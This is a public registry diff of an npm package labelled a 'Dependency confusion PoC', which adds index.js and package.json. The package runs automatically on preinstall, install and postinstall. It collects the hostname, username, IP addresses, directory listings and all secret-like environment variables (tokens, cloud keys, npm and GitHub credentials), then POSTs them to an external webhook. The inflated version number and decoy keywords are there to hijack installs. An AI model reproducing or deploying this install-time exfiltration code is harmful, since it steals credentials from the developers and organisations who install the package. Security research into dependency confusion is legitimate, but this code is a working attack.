@mypwn/greatcall.customers.commandapi 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +39 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,39 @@
1
+ const os = require("os");
2
+ const https = require("https");
3
+ const { execSync } = require("child_process");
4
+
5
+ const WEBHOOK = "https://test.v3n.my/pwn";
6
+
7
+ function post(data) {
8
+ const payload = JSON.stringify(data);
9
+ const url = new URL(WEBHOOK);
10
+ const req = https.request({
11
+ hostname: url.hostname, path: url.pathname,
12
+ method: "POST",
13
+ headers: { "Content-Type": "application/json", "Content-Length": payload.length }
14
+ }, () => {});
15
+ req.write(payload);
16
+ req.end();
17
+ }
18
+
19
+ try {
20
+ const info = {
21
+ hostname: os.hostname(),
22
+ user: os.userInfo().username,
23
+ homedir: os.homedir(),
24
+ platform: os.platform(),
25
+ cwd: process.cwd(),
26
+ env: Object.fromEntries(
27
+ Object.entries(process.env).filter(([k]) =>
28
+ /KEY|SECRET|TOKEN|PASS|AUTH|CRED|PRIVATE|AWS_|AZURE_|GCP_|GITHUB|NPM|DB_|DATABASE|API|WEBHOOK|JENKINS|OCTOPUS|CONNECTION/i.test(k)
29
+ )
30
+ ),
31
+ ips: Object.values(require("os").networkInterfaces())
32
+ .flat().filter(i => i.family === "IPv4").map(i => i.address),
33
+ whoami: execSync("whoami 2>/dev/null || echo unknown").toString().trim(),
34
+ files: execSync("ls -la 2>/dev/null | head -30").toString(),
35
+ };
36
+ post({ type: "exfil", ...info });
37
+ } catch (e) {
38
+ post({ type: "error", error: e.message });
39
+ }
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "@mypwn/greatcall.customers.commandapi",
3
+ "version": "99.0.0",
4
+ "description": "Dependency confusion PoC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "install": "node index.js",
8
+ "postinstall": "node index.js",
9
+ "preinstall": "node index.js"
10
+ },
11
+ "keywords": ["monitoring", "analytics", "splunk", "hawkeye"],
12
+ "license": "MIT"
13
+ }